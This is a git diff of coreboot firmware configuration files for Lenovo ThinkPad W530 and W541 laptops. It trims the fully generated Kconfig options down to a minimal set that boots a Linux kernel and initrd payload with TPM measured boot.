-CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="LENOVO" -CONFIG_DRAM_RESET_GATE_GPIO=10 -CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/variants/$(VARIANT_DIR)/data.vbt" -CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 -CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" -CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" -CONFIG_USBDEBUG_HCD_INDEX=2 -CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 -CONFIG_TPM_PIRQ=0x0 -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=64 -CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" -CONFIG_DCACHE_RAM_BASE=0xfefe0000 -CONFIG_DCACHE_RAM_SIZE=0x20000 -CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 -CONFIG_DCACHE_BSP_STACK_SIZE=0x10000 -CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 -CONFIG_HAVE_INTEL_FIRMWARE=y -CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 -CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y -CONFIG_SPI_FLASH_WINBOND=y -CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_IFD_BIN_PATH="@BLOB_DIR@/xx30/ifd.bin" CONFIG_ME_BIN_PATH="@BLOB_DIR@/xx30/me.bin" CONFIG_GBE_BIN_PATH="@BLOB_DIR@/xx30/gbe.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x80000 -CONFIG_CARDBUS_PLUGIN_SUPPORT=y -CONFIG_SPI_FLASH_GIGADEVICE=y -CONFIG_SPI_FLASH_STMICRO=y -# CONFIG_DEBUG_SMI is not set -CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="ThinkPad W530" CONFIG_HAVE_IFD_BIN=y -CONFIG_PCIEXP_HOTPLUG_BUSES=8 -CONFIG_PCIEXP_HOTPLUG_MEM=0x800000 -CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM=0x10000000 -# CONFIG_BOARD_LENOVO_THINKPAD_T440P is not set -# CONFIG_BOARD_LENOVO_THINKPAD_W541 is not set -# CONFIG_BOARD_LENOVO_L520 is not set -# CONFIG_BOARD_LENOVO_S230U is not set -# CONFIG_BOARD_LENOVO_T400 is not set -# CONFIG_BOARD_LENOVO_T500 is not set -# CONFIG_BOARD_LENOVO_R400 is not set -# CONFIG_BOARD_LENOVO_R500 is not set -# CONFIG_BOARD_LENOVO_W500 is not set -# CONFIG_BOARD_LENOVO_T410 is not set -# CONFIG_BOARD_LENOVO_T420 is not set -# CONFIG_BOARD_LENOVO_T420S is not set -# CONFIG_BOARD_LENOVO_THINKPAD_T430 is not set -# CONFIG_BOARD_LENOVO_T430S is not set -# CONFIG_BOARD_LENOVO_T431S is not set -# CONFIG_BOARD_LENOVO_T520 is not set -# CONFIG_BOARD_LENOVO_W520 is not set -# CONFIG_BOARD_LENOVO_T530 is not set CONFIG_BOARD_LENOVO_W530=y -# CONFIG_BOARD_LENOVO_T60 is not set -# CONFIG_BOARD_LENOVO_Z61T is not set -# CONFIG_BOARD_LENOVO_R60 is not set -# CONFIG_BOARD_LENOVO_THINKCENTRE_A58 is not set -# CONFIG_BOARD_LENOVO_X131E is not set -# CONFIG_BOARD_LENOVO_X1_CARBON_GEN1 is not set -# CONFIG_BOARD_LENOVO_X200 is not set -# CONFIG_BOARD_LENOVO_X301 is not set -# CONFIG_BOARD_LENOVO_X201 is not set -# CONFIG_BOARD_LENOVO_X220 is not set -# CONFIG_BOARD_LENOVO_X220I is not set -# CONFIG_BOARD_LENOVO_X1 is not set -# CONFIG_BOARD_LENOVO_X230 is not set -# CONFIG_BOARD_LENOVO_X230T is not set -# CONFIG_BOARD_LENOVO_X230S is not set -# CONFIG_BOARD_LENOVO_X230_EDP is not set -# CONFIG_BOARD_LENOVO_X60 is not set -CONFIG_VBOOT_SLOTS_RW_AB=y -CONFIG_DRIVER_LENOVO_SERIALS=y -CONFIG_PS2K_EISAID="LEN0071" -CONFIG_PS2M_EISAID="LEN0015" -CONFIG_THINKPADEC_HKEY_EISAID="LEN0068" -CONFIG_GFX_GMA_PANEL_1_PORT="LVDS" -CONFIG_BOARD_LENOVO_BASEBOARD_T530=y -CONFIG_D3COLD_SUPPORT=y -CONFIG_PCIEXP_ASPM=y -# CONFIG_PCIEXP_L1_SUB_STATE is not set -# CONFIG_PCIEXP_CLK_PM is not set -# CONFIG_DRIVERS_UART_8250IO is not set -CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 -CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" -CONFIG_BOARD_ROMSIZE_KB_12288=y -# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set -CONFIG_COREBOOT_ROMSIZE_KB_12288=y -# CONFIG_COREBOOT_ROMSIZE_KB_16384 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set -CONFIG_COREBOOT_ROMSIZE_KB=12288 -CONFIG_ROM_SIZE=0x00c00000 -CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y -CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y -CONFIG_POWER_STATE_OFF_AFTER_FAILURE=y -# CONFIG_POWER_STATE_ON_AFTER_FAILURE is not set -# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set -CONFIG_MAINBOARD_POWER_FAILURE_STATE=0 -# end of Mainboard - -CONFIG_SYSTEM_TYPE_LAPTOP=y - -# -# Chipset -# - -# -# SoC -# -CONFIG_CHIPSET_DEVICETREE="northbridge/intel/sandybridge/chipset.cb" -CONFIG_CBFS_MCACHE_SIZE=0x4000 -CONFIG_ROMSTAGE_ADDR=0x2000000 -CONFIG_VERSTAGE_ADDR=0x2000000 -CONFIG_SMM_TSEG_SIZE=0x800000 -CONFIG_SMM_RESERVED_SIZE=0x100000 -CONFIG_SMM_MODULE_STACK_SIZE=0x400 -# CONFIG_USE_EXP_X86_64_SUPPORT is not set -CONFIG_SERIRQ_CONTINUOUS_MODE=y -CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 -CONFIG_EHCI_BAR=0xfef00000 -CONFIG_ACPI_CPU_STRING="CP%02X" -CONFIG_STACK_SIZE=0x2000 -CONFIG_IED_REGION_SIZE=0x400000 -CONFIG_INTEL_GMA_BCLV_OFFSET=0x48254 -CONFIG_INTEL_GMA_BCLV_WIDTH=16 -CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 -CONFIG_INTEL_GMA_BCLM_WIDTH=16 -CONFIG_BOOTBLOCK_IN_CBFS=y -CONFIG_DCACHE_RAM_MRC_VAR_SIZE=0x0 -CONFIG_HPET_MIN_TICKS=0x80 -CONFIG_FIXED_MCHBAR_MMIO_BASE=0xfed10000 -CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 -CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 -CONFIG_PCIEXP_COMMON_CLOCK=y -CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 -CONFIG_FIXED_SMBUS_IO_BASE=0x400 -CONFIG_CBFS_CACHE_ALIGN=8 - -# -# CPU -# -CONFIG_CPU_INTEL_MODEL_206AX=y -CONFIG_CPU_INTEL_COMMON=y -CONFIG_ENABLE_VMX=y -CONFIG_SET_IA32_FC_LOCK_BIT=y -CONFIG_SET_MSR_AESNI_LOCK_BIT=y -CONFIG_CPU_INTEL_COMMON_TIMEBASE=y -CONFIG_CPU_INTEL_COMMON_SMM=y -CONFIG_MICROCODE_UPDATE_PRE_RAM=y -CONFIG_PARALLEL_MP=y -CONFIG_XAPIC_ONLY=y -# CONFIG_X2APIC_ONLY is not set -# CONFIG_X2APIC_RUNTIME is not set -# CONFIG_X2APIC_LATE_WORKAROUND is not set -CONFIG_UDELAY_TSC=y -CONFIG_TSC_MONOTONIC_TIMER=y -CONFIG_TSC_SYNC_MFENCE=y -CONFIG_HAVE_SMI_HANDLER=y -CONFIG_SMM_TSEG=y -CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 -CONFIG_AP_STACK_SIZE=0x800 -CONFIG_SMP=y -CONFIG_SSE=y -CONFIG_SSE2=y -CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y -CONFIG_USE_CPU_MICROCODE_CBFS_BINS=y -CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS=y -# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_BINS is not set -# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_HEADER is not set -# CONFIG_CPU_MICROCODE_CBFS_NONE is not set - -# -# Northbridge -# -CONFIG_USE_NATIVE_RAMINIT=y -CONFIG_NORTHBRIDGE_INTEL_SANDYBRIDGE=y -# CONFIG_NATIVE_RAMINIT_IGNORE_MAX_MEM_FUSES is not set -# CONFIG_NATIVE_RAMINIT_IGNORE_XMP_MAX_DIMMS is not set -# CONFIG_NATIVE_RAMINIT_IGNORE_XMP_REQUESTED_VOLTAGE is not set -# CONFIG_RAMINIT_ALWAYS_ALLOW_DLL_OFF is not set -CONFIG_RAMINIT_ENABLE_ECC=y - -# -# Southbridge -# -CONFIG_SOUTHBRIDGE_INTEL_BD82X6X_COMMON=y -CONFIG_SOUTHBRIDGE_INTEL_C216=y -# CONFIG_HIDE_MEI_ON_ERROR is not set -CONFIG_PCIEXP_HOTPLUG=y -CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_RESET=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_RTC=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMCLIB=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMBASE=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_GPIO=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_ME=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_EARLY_SMBUS=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI_ICH9=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ=y -CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMM=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_FINALIZE=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG=y -CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y -# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set # CONFIG_INTEL_CHIPSET_LOCKDOWN is not set -CONFIG_TCO_SPACE_NOT_YET_SPLIT=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_WATCHDOG=y -CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 -CONFIG_RCBA_LENGTH=0x4000 - -# -# Super I/O -# - -# -# Embedded Controllers -# -CONFIG_EC_ACPI=y -CONFIG_EC_LENOVO_H8=y -CONFIG_H8_BEEP_ON_DEATH=y -CONFIG_H8_FLASH_LEDS_ON_DEATH=y -# CONFIG_H8_SUPPORT_BT_ON_WIFI is not set -# CONFIG_H8_FN_CTRL_SWAP is not set -CONFIG_H8_HAS_BAT_THRESHOLDS_IMPL=y -CONFIG_EC_LENOVO_PMH7=y - -# -# Intel Firmware -# CONFIG_HAVE_ME_BIN=y -# CONFIG_STITCH_ME_BIN is not set -# CONFIG_CHECK_ME is not set -# CONFIG_ME_REGION_ALLOW_CPU_READ_ACCESS is not set -# CONFIG_USE_ME_CLEANER is not set -CONFIG_MAINBOARD_USES_IFD_GBE_REGION=y CONFIG_HAVE_GBE_BIN=y -# CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set -# CONFIG_LOCK_MANAGEMENT_ENGINE is not set -CONFIG_UNLOCK_FLASH_REGIONS=y -CONFIG_ARCH_X86=y -CONFIG_ARCH_BOOTBLOCK_X86_32=y -CONFIG_ARCH_VERSTAGE_X86_32=y -CONFIG_ARCH_ROMSTAGE_X86_32=y -CONFIG_ARCH_POSTCAR_X86_32=y -CONFIG_ARCH_RAMSTAGE_X86_32=y -CONFIG_ARCH_ALL_STAGES_X86_32=y -CONFIG_HAVE_EXP_X86_64_SUPPORT=y -CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y -CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y -CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y -CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 -CONFIG_PC80_SYSTEM=y -CONFIG_HAVE_CMOS_DEFAULT=y -CONFIG_POSTCAR_STAGE=y -CONFIG_BOOTBLOCK_SIMPLE=y -# CONFIG_BOOTBLOCK_NORMAL is not set -CONFIG_COLLECT_TIMESTAMPS_TSC=y -CONFIG_HAVE_CF9_RESET=y -CONFIG_DEBUG_HW_BREAKPOINTS=y -CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y -# CONFIG_DUMP_SMBIOS_TYPE17 is not set -# end of Chipset - -# -# Devices -# -CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y -CONFIG_HAVE_LINEAR_FRAMEBUFFER=y -CONFIG_MAINBOARD_HAS_LIBGFXINIT=y -CONFIG_MAINBOARD_USE_LIBGFXINIT=y -# CONFIG_VGA_ROM_RUN is not set -# CONFIG_NO_GFX_INIT is not set -CONFIG_NO_EARLY_GFX_INIT=y - -# -# Display -# -# CONFIG_VGA_TEXT_FRAMEBUFFER is not set CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y -CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -CONFIG_HEAP_SIZE=0x400000 -# end of Display - -CONFIG_PCI=y -CONFIG_ECAM_MMCONF_SUPPORT=y -CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_AZALIA_HDA_CODEC_SUPPORT=y -CONFIG_PCIEXP_PLUGIN_SUPPORT=y -CONFIG_ECAM_MMCONF_LENGTH=0x04000000 -CONFIG_PCI_ALLOW_BUS_MASTER=y -CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y -CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y -# CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set -# CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set -CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_ABOVE_4G=y -# CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_BELOW_4G is not set CONFIG_PCIEXP_HOTPLUG_IO=0x2000 -# CONFIG_EARLY_PCI_BRIDGE is not set -CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 -CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 -CONFIG_INTEL_GMA_HAVE_VBT=y -CONFIG_INTEL_GMA_ADD_VBT=y -# CONFIG_SOFTWARE_I2C is not set -CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 # CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set -CONFIG_USE_DDR3=y -# end of Devices - -# -# Generic Drivers -# -CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 -# CONFIG_ELOG is not set -CONFIG_CACHE_MRC_SETTINGS=y -# CONFIG_MRC_SETTINGS_PROTECT is not set -# CONFIG_SMMSTORE is not set -CONFIG_SPI_FLASH=y -CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y -CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y -# CONFIG_SPI_FLASH_NO_FAST_READ is not set -CONFIG_SPI_FLASH_ADESTO=y -CONFIG_SPI_FLASH_AMIC=y -CONFIG_SPI_FLASH_ATMEL=y -CONFIG_SPI_FLASH_EON=y -CONFIG_SPI_FLASH_MACRONIX=y -CONFIG_SPI_FLASH_SPANSION=y -CONFIG_SPI_FLASH_SST=y -CONFIG_SPI_FLASH_ISSI=y -CONFIG_TPM_INIT_RAMSTAGE=y -# CONFIG_TPM_PPI is not set -CONFIG_NO_UART_ON_SUPERIO=y -# CONFIG_DRIVERS_UART_OXPCIE is not set -CONFIG_HAVE_USBDEBUG=y -CONFIG_HAVE_USBDEBUG_OPTIONS=y -# CONFIG_USBDEBUG is not set -# CONFIG_VPD is not set -# CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set -# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set -# CONFIG_DRIVERS_I2C_MAX98396 is not set -CONFIG_INTEL_INT15=y -CONFIG_INTEL_GMA_ACPI=y -CONFIG_VBT_CBFS_COMPRESSION_LZMA=y -# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set -# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set -CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" -CONFIG_GFX_GMA=y -CONFIG_GFX_GMA_PANEL_1_ON_LVDS=y -CONFIG_GFX_GMA_DYN_CPU=y -CONFIG_GFX_GMA_GENERATION="Ironlake" -CONFIG_GFX_GMA_PCH="Cougar_Point" -CONFIG_GFX_GMA_PANEL_2_PORT="Disabled" -CONFIG_GFX_GMA_ANALOG_I2C_PORT="PCH_DAC" -CONFIG_DRIVERS_LENOVO_HYBRID_GRAPHICS=y -# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set CONFIG_DRIVERS_PS2_KEYBOARD=y -CONFIG_DRIVERS_MC146818=y -# CONFIG_USE_PC_CMOS_ALTCENTURY is not set -CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 -CONFIG_MEMORY_MAPPED_TPM=y -CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 -CONFIG_DRIVERS_RICOH_RCE822=y -# CONFIG_DRIVERS_SIL_3114 is not set -CONFIG_DRIVERS_WIFI_GENERIC=y -CONFIG_DRIVERS_MTK_WIFI=y -# end of Generic Drivers - -# -# Security -# - -# -# CBFS verification -# -# CONFIG_CBFS_VERIFICATION is not set -# end of CBFS verification - -# -# Verified Boot (vboot) -# -CONFIG_VBOOT_LIB=y -# end of Verified Boot (vboot) - -# -# Trusted Platform Module -# -# CONFIG_NO_TPM is not set -CONFIG_TPM1=y -CONFIG_TPM=y -CONFIG_MAINBOARD_HAS_TPM1=y -# CONFIG_TPM_DEACTIVATE is not set -# CONFIG_DEBUG_TPM is not set -# CONFIG_TPM_RDRESP_NEED_DELAY is not set -# CONFIG_TPM_LOG_CB is not set -CONFIG_TPM_LOG_TPM1=y -CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" -CONFIG_PCR_BOOT_MODE=1 -CONFIG_PCR_HWID=1 -CONFIG_PCR_SRTM=2 -CONFIG_PCR_FW_VER=10 -CONFIG_PCR_RUNTIME_DATA=3 -# end of Trusted Platform Module - -# -# Memory initialization -# -CONFIG_PLATFORM_HAS_DRAM_CLEAR=y -# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set -# end of Memory initialization - -# CONFIG_INTEL_TXT is not set -# CONFIG_STM is not set -# CONFIG_BOOTMEDIA_LOCK_NONE is not set CONFIG_BOOTMEDIA_LOCK_CONTROLLER=y -# CONFIG_BOOTMEDIA_LOCK_CHIP is not set -CONFIG_BOOTMEDIA_LOCK_WHOLE_RO=y -# CONFIG_BOOTMEDIA_LOCK_WHOLE_NO_ACCESS is not set -# CONFIG_BOOTMEDIA_SMM_BWP is not set -# end of Security - -CONFIG_ACPI_HAVE_PCAT_8259=y -CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y -CONFIG_ACPI_SOC_NVS=y -CONFIG_ACPI_NO_CUSTOM_MADT=y -CONFIG_ACPI_COMMON_MADT_LAPIC=y -CONFIG_ACPI_COMMON_MADT_IOAPIC=y -CONFIG_HAVE_ACPI_TABLES=y -CONFIG_BOOT_DEVICE_SPI_FLASH=y -CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y -CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y -CONFIG_RTC=y -CONFIG_HEAP_SIZE=0x100000 - -# -# Console -# -CONFIG_BOOTBLOCK_CONSOLE=y -CONFIG_POSTCAR_CONSOLE=y -CONFIG_SQUELCH_EARLY_SMP=y -# CONFIG_SPKMODEM is not set -# CONFIG_CONSOLE_NE2K is not set -CONFIG_CONSOLE_CBMEM=y -# CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set -# CONFIG_CONSOLE_SPI_FLASH is not set -# CONFIG_CONSOLE_I2C_SMBUS is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5=y -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL=5 -CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y -CONFIG_CONSOLE_USE_ANSI_ESCAPES=y -CONFIG_HWBASE_DEBUG_NULL=y -# end of Console - -CONFIG_HAVE_ACPI_RESUME=y -CONFIG_RESUME_PATH_SAME_AS_BOOT=y -CONFIG_HAVE_MONOTONIC_TIMER=y -CONFIG_HAVE_OPTION_TABLE=y -CONFIG_IOAPIC=y -CONFIG_USE_WATCHDOG_ON_BOOT=y - -# -# System tables -# -CONFIG_GENERATE_SMBIOS_TABLES=y -CONFIG_SMBIOS_PROVIDED_BY_MOBO=y -CONFIG_BIOS_VENDOR="coreboot" -CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" -# end of System tables - -# -# Payload -# -# CONFIG_PAYLOAD_NONE is not set -# CONFIG_PAYLOAD_ELF is not set -# CONFIG_PAYLOAD_BOOTBOOT is not set -# CONFIG_PAYLOAD_FILO is not set -# CONFIG_PAYLOAD_GRUB2 is not set -# CONFIG_PAYLOAD_SEAGRUB is not set -# CONFIG_PAYLOAD_LINUXBOOT is not set -# CONFIG_PAYLOAD_SEABIOS is not set -# CONFIG_PAYLOAD_UBOOT is not set -# CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_PAYLOAD_OPTIONS="" -# CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" -# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set -CONFIG_COMPRESS_SECONDARY_PAYLOAD=y - -# -# Secondary Payloads -# -# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set -# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set -# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set -# CONFIG_NVRAMCUI_SECONDARY_PAYLOAD is not set -# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set -# CONFIG_TINT_SECONDARY_PAYLOAD is not set -# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set -# end of Secondary Payloads -# end of Payload - -# -# Debugging -# - -# -# CPU Debug Settings -# -# CONFIG_DISPLAY_MTRRS is not set - -# -# Vendorcode Debug Settings -# - -# -# BLOB Debug Settings -# - -# -# General Debug Settings -# -# CONFIG_FATAL_ASSERTS is not set -# CONFIG_DEBUG_CBFS is not set -CONFIG_HAVE_DEBUG_RAM_SETUP=y -# CONFIG_DEBUG_RAM_SETUP is not set -CONFIG_HAVE_DEBUG_SMBUS=y -# CONFIG_DEBUG_SMBUS is not set -# CONFIG_DEBUG_CONSOLE_INIT is not set -# CONFIG_DEBUG_SPI_FLASH is not set -# CONFIG_DEBUG_BOOT_STATE is not set -# CONFIG_DEBUG_ADA_CODE is not set -CONFIG_HAVE_EM100_SUPPORT=y -# CONFIG_EM100 is not set -# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set -# end of Debugging - -CONFIG_RAMSTAGE_ADA=y -CONFIG_RAMSTAGE_LIBHWBASE=y -CONFIG_HWBASE_DYNAMIC_MMIO=y -CONFIG_HWBASE_DEFAULT_MMCONF=0xf0000000 -CONFIG_HWBASE_DIRECT_PCIDEV=y -CONFIG_DECOMPRESS_OFAST=y -CONFIG_WARNINGS_ARE_ERRORS=y -CONFIG_MAX_REBOOT_CNT=3 -CONFIG_RELOCATABLE_MODULES=y -CONFIG_HAVE_BOOTBLOCK=y -CONFIG_HAVE_ROMSTAGE=y -CONFIG_HAVE_RAMSTAGE=y diff --git a/config/coreboot-w541.config b/config/coreboot-w541.config index da7abd5be..9d3421fc0 100644 --- a/config/coreboot-w541.config +++ b/config/coreboot-w541.config @@ -1,698 +1,27 @@ -# -# Automatically generated file; DO NOT EDIT. -# coreboot configuration -# - -# -# General setup -# -CONFIG_COREBOOT_BUILD=y -CONFIG_LOCALVERSION="" -CONFIG_CBFS_PREFIX="fallback" -CONFIG_COMPILER_GCC=y -# CONFIG_COMPILER_LLVM_CLANG is not set -CONFIG_ARCH_SUPPORTS_CLANG=y -# CONFIG_ANY_TOOLCHAIN is not set -# CONFIG_CCACHE is not set -# CONFIG_IWYU is not set -# CONFIG_FMD_GENPARSER is not set -# CONFIG_UTIL_GENPARSER is not set -CONFIG_OPTION_BACKEND_NONE=y -# CONFIG_USE_OPTION_TABLE is not set -CONFIG_COMPRESS_RAMSTAGE_LZMA=y -# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set -CONFIG_SEPARATE_ROMSTAGE=y -CONFIG_INCLUDE_CONFIG_FILE=y -CONFIG_COLLECT_TIMESTAMPS=y -# CONFIG_TIMESTAMPS_ON_CONSOLE is not set # CONFIG_USE_BLOBS is not set -# CONFIG_COVERAGE is not set -# CONFIG_UBSAN is not set -CONFIG_HAVE_ASAN_IN_ROMSTAGE=y -CONFIG_HAVE_ASAN_IN_RAMSTAGE=y -# CONFIG_ASAN is not set -# CONFIG_NO_STAGE_CACHE is not set -CONFIG_TSEG_STAGE_CACHE=y -# CONFIG_UPDATE_IMAGE is not set CONFIG_BOOTSPLASH_IMAGE=y CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 -# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set -# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set -# CONFIG_FW_CONFIG is not set - -# -# Software Bill Of Materials (SBOM) -# -# CONFIG_SBOM is not set -# end of Software Bill Of Materials (SBOM) -# end of General setup - -# -# Mainboard -# - -# -# Important: Run 'make distclean' before switching boards -# -# CONFIG_VENDOR_51NB is not set -# CONFIG_VENDOR_ACER is not set -# CONFIG_VENDOR_ADLINK is not set -# CONFIG_VENDOR_AMD is not set -# CONFIG_VENDOR_AOPEN is not set -# CONFIG_VENDOR_APPLE is not set -# CONFIG_VENDOR_ASROCK is not set -# CONFIG_VENDOR_ASUS is not set -# CONFIG_VENDOR_BIOSTAR is not set -# CONFIG_VENDOR_BOSTENTECH is not set -# CONFIG_VENDOR_BYTEDANCE is not set -# CONFIG_VENDOR_CAVIUM is not set -# CONFIG_VENDOR_CLEVO is not set -# CONFIG_VENDOR_COMPULAB is not set -# CONFIG_VENDOR_DELL is not set -# CONFIG_VENDOR_EMULATION is not set -# CONFIG_VENDOR_EXAMPLE is not set -# CONFIG_VENDOR_FACEBOOK is not set -# CONFIG_VENDOR_FOXCONN is not set -# CONFIG_VENDOR_GETAC is not set -# CONFIG_VENDOR_GIGABYTE is not set -# CONFIG_VENDOR_GOOGLE is not set -# CONFIG_VENDOR_HP is not set -# CONFIG_VENDOR_IBASE is not set -# CONFIG_VENDOR_IBM is not set -# CONFIG_VENDOR_INTEL is not set -# CONFIG_VENDOR_INVENTEC is not set -# CONFIG_VENDOR_KONTRON is not set CONFIG_VENDOR_LENOVO=y -# CONFIG_VENDOR_LIBRETREND is not set -# CONFIG_VENDOR_MSI is not set -# CONFIG_VENDOR_OCP is not set -# 